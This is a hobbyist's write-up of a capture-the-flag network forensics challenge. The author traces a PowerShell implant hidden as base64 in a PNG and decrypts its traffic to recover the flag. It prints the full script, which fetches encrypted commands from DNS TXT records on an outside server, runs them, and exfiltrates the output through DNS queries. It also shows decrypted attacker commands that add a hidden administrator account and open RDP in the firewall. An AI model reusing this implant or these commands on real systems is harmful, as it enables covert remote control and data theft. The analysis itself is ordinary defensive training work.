Vinyr's threat intelligence is monitoring closely all APT groups from every possible galaxy, especially the most dangerous one, longhir. As stated by an anonymous threat intelligence officer, the malicious actors tend to automate their initial post-exploitation enumeration so they can have less on-keyboard time. You can find such an example in the provided network capture generated by a recent incident. Analyse it and find out what they are up to.
This one looks fun, just a pcap packet capture to hunt through. I gave a class on wireshark a couple years ago at work, so lets see how terrible I am at it since I hardly ever have to use it anymore ;>
Looked at the pcap for a bit in wireshark. Analyzed convo's, looked for many requests, didn't get anywhere rly for a bit (lack of sleep from trying other challs was getting to me a bit), spent a while honestly tracking down legit traffic and other dumb things instead of going straight to http downloads..
Also took apart the pcap in an online analyzer after this; https://apackets.com/pcaps/flows - This was pretty cool.
Happened to notice some requests to ‘windowsupdatelive.com’ which looks super funky..
10.0.2.15:49804 WINDoWslIVeupDATeR.cOM (77.74.198.52):80 (GET)
Found an image file in one of them, took it and saved to file it was white 64x64px or whatnot, but looked at it in a hex editor and its base64.
Decoded base64 and got this:
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
Looked up the key:
echo a1E4MUtycWswTmtrMHdqdg== | base64 -d
kQ81Krqk0Nkk0wjv
This doesn't mean much but maybe it can be used to decode some of the traffic!
Analyzed the rest of the traffic from 77.74.198.52
Ref'd back to the pcap it sent only this image back.
This was at packet 1931 - 19.145926
Found another request after with a UDP stream on port 53 (dns response is how the data is infiltrated!!)
{...........windowsliveupdater.com..... {...........windowsliveupdater.com..............,.-,Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=.........,.-,hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=.........,.-,58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=.........,...eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru.........,...BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=.........,...vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=.........,.A@M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh
Took and tried to base64 -d these; Played around a bit and got nowhere, figured out to try to use the ps1 file above to decrypt.. However, they are not decrypting after putting them in this format. Can't figure this out so far. Moving on...
Found that a bunch of DNS queries were going out:
windowsliveupdater.com
start.windowsliveupdater.com
CC1C9AC2958A2E63609272E2B4F8F436.windowsliveupdater.com
32A806549B03AB7E4EB39771AEDA4A1B.windowsliveupdater.com
C1006AC8A03F9776B08321BD6D5247BB.windowsliveupdater.com
end.windowsliveupdater.com
7679895D1CF7C07BB6A348E1AA4AFC65.windowsliveupdater.com
5958A6856F1A34AAD5E97EA55B087670.windowsliveupdater.com
35F2497E5836EA0ECA1F1280F59742A3.windowsliveupdater.com
09E28DD82C14BC32513652DAC2F2C27B.windowsliveupdater.com
0D73A3288A980D8FCEF94BDDCF9E2822.windowsliveupdater.com
2A1CA17BB2D90FCD6158856348790414.windowsliveupdater.com
20FC39C684A9E371CC3A06542B666005.windowsliveupdater.com
5840BD94CCE65E23613925B4D9D2BA53.windowsliveupdater.com
18EA75BC653004D45D505ED62567017A.windowsliveupdater.com
6FA4E7593D83092F67A81082D9930E99.windowsliveupdater.com
BA20E34AACC4774F067442C6622F5DA2.windowsliveupdater.com
A9B09FF558A8DF000ECBD37804CE663E.windowsliveupdater.com
3521599BC7591005AB6799C57068CF0D.windowsliveupdater.com
C6884CECF01C0CD44FD6B82DB788B35D.windowsliveupdater.com
62F02E4CAA1D973FBECC235AE9F40254.windowsliveupdater.com
C63D3C93C89930DA2C4F42D9FC123D8B.windowsliveupdater.com
AB00ACAB5198AFCC8C6ACD81B19CD264.windowsliveupdater.com
CC6353668CEA4C88C8AEEA1D58980022.windowsliveupdater.com
DA8FA2E917F17C28608818BF550FEA66.windowsliveupdater.com
973B5A8355258AB0AA281AD88F5B9EB1.windowsliveupdater.com
03AC666FE09A1D449736335C09484D27.windowsliveupdater.com
1C301C6D5780AB2C9FA333BE3B0185BF.windowsliveupdater.com
071FB1205C4DBEAA2241168B0748902A.windowsliveupdater.com
6CE14903C7C47E7C87311044CB9873A4.windowsliveupdater.com
ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com
C2EB000EE4F9B35D6F001500E85642A2.windowsliveupdater.com
DCC8F1BE2CF4D667F458C1DE46D24B1C.windowsliveupdater.com
2E0F5D94E52649C70402C1B0A2FF7B49.windowsliveupdater.com
FC32DDD67F275307A74B2C4D0864B3F0.windowsliveupdater.com
486186DA9443EB747F717B3911C959DC.windowsliveupdater.com
7E300844D60655410C3988238E615D61.windowsliveupdater.com
6F33D27F63CE4D1E065A416911BC50D4.windowsliveupdater.com
58749599D2CB08DB561988EB2902E05D.windowsliveupdater.com
9886FDDAC2BED6F6DA73637AD2F20CF1.windowsliveupdater.com
99B8CE3D9DEE03C0180C7D1198B49C02.windowsliveupdater.com
769E5EE4EAB896D7D3BB478EA1408167.windowsliveupdater.com
79472A243BFB0852AF372323EC132988.windowsliveupdater.com
3C81A3F2AEB1D3DAAE8496E1DBF97F43.windowsliveupdater.com
5AE40A09203B890C4A174D77CB7026C4.windowsliveupdater.com
E990A6FB6424A7501823AD31D3D6B634.windowsliveupdater.com
4C7971C8D447C078C4471732AD881C39.windowsliveupdater.com
4BC8B1A66E0BED43DDC359269B57D1D5.windowsliveupdater.com
D68DCD2A608BF61716BB47D6FE4D5C9D.windowsliveupdater.com
6E8BB2981F214A8234B0DD0210CA96EB.windowsliveupdater.com
2D6322B0F7F3D748C4C9F8B80EFF5A69.windowsliveupdater.com
21A3D1A8621A49F4D29BC9851D25230B.windowsliveupdater.com
841BDB4E9E5F8BF721B58E8308177B57.windowsliveupdater.com
2E9A015967DA5BF11AC9155FC2159C8F.windowsliveupdater.com
610CD82F818B4BDF5E48722DAF4BEEEB.windowsliveupdater.com
ABCE30583F503B484BF99020E28A1B8F.windowsliveupdater.com
282A23FEB3A21C3AD89882F5AC0DD3D5.windowsliveupdater.com
7D87875231652D0F4431EC37E51A09D5.windowsliveupdater.com
7E2854D11003AB6E2F4BFB4F7E2477DA.windowsliveupdater.com
A44FCA3BC6021777F03F139D458C0524.windowsliveupdater.com
AE4ABE8A3A88D21DEEA071A72D65A35E.windowsliveupdater.com
F158D9F025897D1843E37B7463EC7833.windowsliveupdater.com
Converted these to codes I can try to reverse..
cat reqs.txt | tr -s '.' ' ' | awk '{print $1}' > reqs2.txt
Soo.. Walked through EXACTLY whats happening here with the first request to Windowsliveupdater.com on port 80 returns /desktop.png This is base64, gives us the ps1 script. Lets break it down:
So there is a filter which just breaks the ‘query’ down to parts and doesn't stop the pipeline, just keeps outputting each part of the query:
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
The first thing the script actually does, is reach out to 147.182.172.189 and do a dnsquery for windowsliveupdater.com and return the Strings as $out:
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
Looked at what this did on a another domain like windows.com, to get a look at how it might output:
PS C:\Users\cryptic.XDDEV> Resolve-DnsName -type TXT -DnsOnly windows.com | select-object -property Strings
Strings
-------
{v=spf1 mx -all}
{facebook-domain-verification=d65hkhpulntsek90x3rt1cqq4y06tk}
{D-TRUST=27XN9J9VBV6S24F}
This should show a bunch of txt records. Then, for each TXT record string, returned from the dns query (except for the last 2 lines? Looks like these are blank automatically on the output):
for ($num = 0 ; $num -le $out.Length-2; $num++){
It looks like each time it checks the 1st line of each TXT record string (parsing blank lines)
$encryptedString = $out[$num].Strings[0]
So it decrypts this TXT record with the key above:
$backToPlainText = Decrypt-String $key $encryptedString
(Later added this line in to spit it out here:)
$backToPlainText
Then the Output will be the output of invoke-expression of $backToPlainText (split the next line into 2):
$output = iex $backToPlainText;
Then, the results will be the $output encrypted again into 32 char chunks:
$pr = Encrypt-String $key $output|parts 32
Then, it will let start.windowsliveupdater.com know of a response starting:
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
Foreach the the $pr public responses, do a lookup for $pr[ans].windowsliveupdater.com. Exfiltration thru DNS complete.
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Sends a response to end. telling it it is done.
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
So, now I need to look for the DNS response with the TXT records returned. This should be near the first DNS request to 147.182.172.189, after the port 80 req. Found it:
0000 08 00 27 d4 3a 20 52 54 00 12 35 02 08 00 45 00 ..'.: RT..5...E.
0010 03 7b 94 ba 00 00 40 11 96 35 93 b6 ac bd 0a 00 .{[email protected]......
0020 02 0f 00 35 f7 60 03 67 36 c2 20 7b 85 80 00 01 ...5.`.g6. {....
0030 00 07 00 00 00 00 12 77 69 6e 64 6f 77 73 6c 69 .......windowsli
0040 76 65 75 70 64 61 74 65 72 03 63 6f 6d 00 00 10 veupdater.com...
0050 00 01 c0 0c 00 10 00 01 00 00 01 2c 00 2d 2c 49 ...........,.-,I
0060 66 75 31 79 69 4b 35 52 4d 41 42 44 34 77 6e 6f fu1yiK5RMABD4wno
0070 36 36 61 78 49 47 5a 75 6a 31 48 58 65 7a 47 35 66axIGZuj1HXezG5
0080 67 78 7a 70 64 4c 4f 36 77 73 3d c0 0c 00 10 00 gxzpdLO6ws=.....
0090 01 00 00 01 2c 00 2d 2c 68 68 70 67 57 73 4f 6c ....,.-,hhpgWsOl
00a0 69 34 41 6e 57 39 67 2f 37 54 4d 34 72 63 59 79 i4AnW9g/7TM4rcYy
00b0 76 44 4e 6b 79 34 79 5a 76 4c 56 4a 30 6f 6c 58 vDNky4yZvLVJ0olX
00c0 35 6f 41 3d c0 0c 00 10 00 01 00 00 01 2c 00 2d 5oA=.........,.-
00d0 2c 35 38 76 30 34 4b 68 72 53 7a 69 4f 79 52 61 ,58v04KhrSziOyRa
00e0 4d 4c 76 4b 4d 2b 4a 72 43 48 70 4d 34 57 6d 76 MLvKM+JrCHpM4Wmv
00f0 42 54 2f 77 59 54 52 4b 44 77 32 73 3d c0 0c 00 BT/wYTRKDw2s=...
0100 10 00 01 00 00 01 2c 00 81 80 65 54 74 66 55 67 ......,...eTtfUg
0110 63 63 68 6d 2f 52 32 37 59 4a 44 50 30 69 57 6e cchm/R27YJDP0iWn
0120 58 48 79 30 32 69 6a 53 63 64 49 34 74 55 71 41 XHy02ijScdI4tUqA
0130 56 50 4b 47 66 33 6e 73 42 45 32 38 66 44 55 62 VPKGf3nsBE28fDUb
0140 71 30 43 38 43 6e 55 6e 4a 43 35 37 6c 78 55 4d q0C8CnUnJC57lxUM
0150 59 46 53 71 48 70 42 35 62 68 6f 56 54 59 61 66 YFSqHpB5bhoVTYaf
0160 4e 5a 38 2b 69 6a 6e 4d 77 41 4d 79 34 68 70 30 NZ8+ijnMwAMy4hp0
0170 4f 34 46 65 48 30 58 6f 36 39 61 68 49 38 6e 64 O4FeH0Xo69ahI8nd
0180 55 66 49 73 69 44 2f 42 72 75 c0 0c 00 10 00 01 UfIsiD/Bru......
0190 00 00 01 2c 00 ed ec 42 62 76 57 63 57 68 52 54 ...,...BbvWcWhRT
01a0 6f 50 71 54 75 70 77 58 36 4b 66 37 41 30 6a 72 oPqTupwX6Kf7A0jr
01b0 4f 64 59 57 75 6d 71 61 4d 52 7a 36 75 50 63 6e OdYWumqaMRz6uPcn
01c0 76 61 44 76 52 4b 59 32 2b 65 41 6c 30 71 54 33 vaDvRKY2+eAl0qT3
01d0 49 79 31 6b 55 47 57 47 53 45 6f 52 75 37 4d 6a Iy1kUGWGSEoRu7Mj
01e0 71 78 59 6d 65 6b 37 38 75 76 7a 4d 54 61 48 38 qxYmek78uvzMTaH8
01f0 38 63 57 77 6c 67 55 4a 71 72 31 76 73 72 31 43 8cWwlgUJqr1vsr1C
0200 73 78 43 77 53 2f 4b 42 59 4a 58 68 75 6c 79 42 sxCwS/KBYJXhulyB
0210 63 4d 4d 59 4f 74 63 71 49 6d 4d 69 55 33 78 30 cMMYOtcqImMiU3x0
0220 52 7a 6c 73 46 58 54 55 66 31 67 69 4e 46 32 71 RzlsFXTUf1giNF2q
0230 5a 55 44 74 68 55 4e 37 5a 38 41 49 77 76 6d 7a ZUDthUN7Z8AIwvmz
0240 30 61 2b 35 61 55 54 65 67 71 2f 70 50 46 73 4b 0a+5aUTegq/pPFsK
0250 30 69 37 59 4e 5a 73 4b 37 4a 45 6d 7a 2b 77 51 0i7YNZsK7JEmz+wQ
0260 37 44 73 2f 55 55 35 2b 53 73 75 62 57 59 64 74 7Ds/UU5+SsubWYdt
0270 78 6e 2b 6c 78 77 35 38 58 71 48 78 79 41 59 41 xn+lxw58XqHxyAYA
0280 6f 30 3d c0 0c 00 10 00 01 00 00 01 2c 00 ad ac o0=.........,...
0290 76 4a 78 6c 63 4c 44 49 2f 30 73 50 75 72 76 61 vJxlcLDI/0sPurva
02a0 63 47 30 69 46 62 73 74 77 79 78 74 6b 2f 65 6c cG0iFbstwyxtk/el
02b0 39 63 7a 47 78 54 41 6a 59 42 6d 55 5a 45 63 44 9czGxTAjYBmUZEcD
02c0 36 33 62 63 6f 39 75 7a 53 48 44 6f 54 76 50 31 63bco9uzSHDoTvP1
02d0 5a 55 39 61 65 35 56 57 37 4a 6e 76 39 6a 73 5a ZU9ae5VW7Jnv9jsZ
02e0 48 4c 73 4f 73 38 64 76 78 73 49 4d 56 4d 7a 6a HLsOs8dvxsIMVMzj
02f0 31 49 74 47 6f 33 64 54 2b 51 72 70 73 42 34 4d 1ItGo3dT+QrpsB4M
0300 39 77 57 35 63 6c 55 75 44 65 46 2f 43 33 6c 77 9wW5clUuDeF/C3lw
0310 43 52 6d 59 59 46 53 4c 4e 2f 63 55 4e 4f 48 35 CRmYYFSLN/cUNOH5
0320 2b 2b 59 6e 58 36 36 62 31 69 48 55 4a 54 42 43 ++YnX66b1iHUJTBC
0330 71 4c 78 69 45 66 54 68 6b 35 41 3d c0 0c 00 10 qLxiEfThk5A=....
0340 00 01 00 00 01 2c 00 41 40 4d 33 2f 2b 32 52 4a .....,.A@M3/+2RJ
0350 2f 71 59 34 4f 2b 6e 63 6c 47 50 45 76 4a 4d 49 /qY4O+nclGPEvJMI
0360 4a 49 34 55 36 53 46 36 56 4c 38 41 4e 70 7a 39 JI4U6SF6VL8ANpz9
0370 59 36 6d 53 48 77 75 55 79 67 34 69 42 72 4d 72 Y6mSHwuUyg4iBrMr
0380 74 53 73 66 70 41 32 62 68 tSsfpA2bh
Definitely tried cleaning these up and decrypting. Need to figure out why they won't decrypt. Maybe needs to be a slight diff format..
Keep running into issue with the 1st bytes not being able to be read into $bytes for the IV:
$bytes = [System.Convert]::FromBase64String($encryptedStringWithI ...
xddev\cryptic@cryptic-PC C:\Users\cryptic.XDDEV>powershell -exec bypass -file i4.ps1
Exception calling "FromBase64String" with "1" argument(s): "The input is not a valid Base-64 string as it contains a non-base 64 character, more
than two padding characters, or an illegal character among the padding characters. "
At C:\Users\cryptic.XDDEV\i4.ps1:47 char:5
+ $bytes = [System.Convert]::FromBase64String($encryptedStringWithI ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : FormatException
Cannot index into a null array.
At i4.ps1:48 char:5
Output of each separately worked, so tried again with all 3-7 together.. nice!!
1
¶Í¯©Pl§¢../Ã
Ý..hostname........
2
Ë[.ö!È»]¿vϨsõ Àwhoami..........
3-7:
.h.©.Q.z7.M.Î
&.ipconfig........¿gQí..×0÷ÛX}.W.´wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value..........*
Φ3..O.ª.y.ê.net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr¦óZ.5[...$.U._¥;netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389......ZuT.
.ØÒ[Ô.ö÷õÀñnet start TermService...........
$part1='HTB{y0u_c4n_
I bet the last part is the first stuff I decrypted from each part, decrypted again
So, grabbed all of this in byte format and did this quick python to split into 16 char pieces:
cat conv.py
t = 'b6cdafa9506ca7a294022fc30add148b686f73746e616d6500000000000000006b391c01442c135b5875302a0295780f77686f616d6900000000000000000000e9a11450da2349238a3c887be4f35a5e6970636f6e6669670000000000000000bf6751ed8718d730f7db587d14571db4776d6963202f6e616d6573706163653a5c5c726f6f745c536563757269747943656e746572205041544820416e7469566972757350726f6475637420474554202f76616c7565000000000000000000002a0dc4aaa63315954f9faa8c7905ea166e657420757365722044656661756c7455737220224a484268636e51785053644956454a376554423158324d30626c386e22202f616464202f593b206e6574206c6f63616c67726f75702041646d696e6973747261746f7273202f6164642044656661756c745573723b206e6574206c6f63616c67726f7570202252656d6f7465204465736b746f7020557365727322202f6164642044656661756c74557372a6f35a9d355b819d0b241a55055fa53b6e65747368206164766669726577616c6c206669726577616c6c206164642072756c65206e616d653d225465726d696e616c2053657276657222206469723d696e20616374696f6e3d616c6c6f772070726f746f636f6c3d544350206c6f63616c706f72743d333338390000000000005a75540b0d14d8d25bd483f6f7f5c0f16e6574207374617274205465726d536572766963650000000000000000000000'
n = 32
lines=[t[i:i+n] for i in range(0, len(t), n)]
print(t)
print(lines)
split into lines with 2 parts so I can awk it:
['b6cdafa9506ca7a294022fc30add148b', '686f73746e616d650000000000000000',
'6b391c01442c135b5875302a0295780f', '77686f616d6900000000000000000000',
'bf6751ed8718d730f7db587d14571db4', '776d6963202f6e616d6573706163653a',
'5c5c726f6f745c536563757269747943', '656e746572205041544820416e746956',
'6972757350726f647563742047455420', '2f76616c756500000000000000000000',
'2a0dc4aaa63315954f9faa8c7905ea16', '6e657420757365722044656661756c74',
'55737220224a484268636e5178505364', '4956454a376554423158324d30626c38',
'6e22202f616464202f593b206e657420', '6c6f63616c67726f75702041646d696e',
'6973747261746f7273202f6164642044', '656661756c745573723b206e6574206c',
'6f63616c67726f7570202252656d6f74', '65204465736b746f7020557365727322',
'202f6164642044656661756c74557372', 'a6f35a9d355b819d0b241a55055fa53b',
'6e65747368206164766669726577616c', '6c206669726577616c6c206164642072',
'756c65206e616d653d225465726d696e', '616c2053657276657222206469723d69',
'6e20616374696f6e3d616c6c6f772070', '726f746f636f6c3d544350206c6f6361',
'6c706f72743d33333839000000000000', '5a75540b0d14d8d25bd483f6f7f5c0f1',
'6e6574207374617274205465726d5365', '72766963650000000000000000000000']
525400123502080027d43a2008004500006575650000801100000a00020f93b6acbdd2fc003500514ce568bb010000010000000000002043433143394143323935384132453633363039323732453242344638463433361277696e646f77736c6976657570646174657203636f6d0000010001
Nope.. Idk why I can't seem to get these to be happy with the decryption process, oh well..
Couldn't get this.. Took a break from it for now..
took another stab at this after stopping for dinner (12 hr straight!!!)
okay great, taking a break really helped; played around and got this:
idk how I couldn't make it work before, just messed aroudn enough and finally got it. PHEW!
Decrypted all to:
CC1C9AC2958A2E63609272E2B4F8F436
32A806549B03AB7E4EB39771AEDA4A1B
C1006AC8A03F9776B08321BD6D5247BB
intergalacticopcenter...........
7679895D1CF7C07BB6A348E1AA4AFC65
5958A6856F1A34AAD5E97EA55B087670
35F2497E5836EA0ECA1F1280F59742A3
intergalacticop\sysadmin........
09E28DD82C14BC32513652DAC2F2C27B
0D73A3288A980D8FCEF94BDDCF9E2822
2A1CA17BB2D90FCD6158856348790414
20FC39C684A9E371CC3A06542B666005
5840BD94CCE65E23613925B4D9D2BA53
18EA75BC653004D45D505ED62567017A
6FA4E7593D83092F67A81082D9930E99
BA20E34AACC4774F067442C6622F5DA2
A9B09FF558A8DF000ECBD37804CE663E
3521599BC7591005AB6799C57068CF0D
C6884CECF01C0CD44FD6B82DB788B35D
62F02E4CAA1D973FBECC235AE9F40254
C63D3C93C89930DA2C4F42D9FC123D8B
AB00ACAB5198AFCC8C6ACD81B19CD264
CC6353668CEA4C88C8AEEA1D58980022
DA8FA2E917F17C28608818BF550FEA66
973B5A8355258AB0AA281AD88F5B9EB1
03AC666FE09A1D449736335C09484D27
1C301C6D5780AB2C9FA333BE3B0185BF
071FB1205C4DBEAA2241168B0748902A
6CE14903C7C47E7C87311044CB9873A4
Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : fe80::fdbd:2c54:d6b:c384%6 IPv4 Address. . . . . . . . . . . : 10.0.2.15 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.2.2.....
ECABC349D27C0B0FFFD1ACEEDBE06BB6
C2EB000EE4F9B35D6F001500E85642A2
DCC8F1BE2CF4D667F458C1DE46D24B1C
2E0F5D94E52649C70402C1B0A2FF7B49
FC32DDD67F275307A74B2C4D0864B3F0
486186DA9443EB747F717B3911C959DC
7E300844D60655410C3988238E615D61
6F33D27F63CE4D1E065A416911BC50D4
58749599D2CB08DB561988EB2902E05D
9886FDDAC2BED6F6DA73637AD2F20CF1
99B8CE3D9DEE03C0180C7D1198B49C02
769E5EE4EAB896D7D3BB478EA1408167
79472A243BFB0852AF372323EC132988
3C81A3F2AEB1D3DAAE8496E1DBF97F43
5AE40A09203B890C4A174D77CB7026C4
E990A6FB6424A7501823AD31D3D6B634
companyName=Panaman displayName=Pan Antivirus 4.0, $part2=4utom4t3_but_y0u_c4nt_h1de} instanceGuid={CD3EA3C2-91CB-4359-90DC-1E909147B6B0} onAccessScanningEnabled=TRUE pathToSignedProductExe=panantivir
YEA S0N.. GOT IT.. FLAG PART 2/2 yeaaaaaa. <#feelsgood>
Couldn't use this last string!? ah well dont need it looks like..
4C7971C8D447C078C4471732AD881C39
Put them together..
$part1='HTB{y0u_c4n_'
$part2=4utom4t3_but_y0u_c4nt_h1de}
HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}
This took WAY longer than I had expected, but was fun!! Another guy I was working with found the pcap download much faster than me, and I helped him w/ the powershell a little bit. Was a lot of fun talking shop w/ him.. sup fr0z ;>
Note: Source, possibly, from 2016- looks just like it:
https://gist.github.com/ctigeek/2a56648b923d198a6e60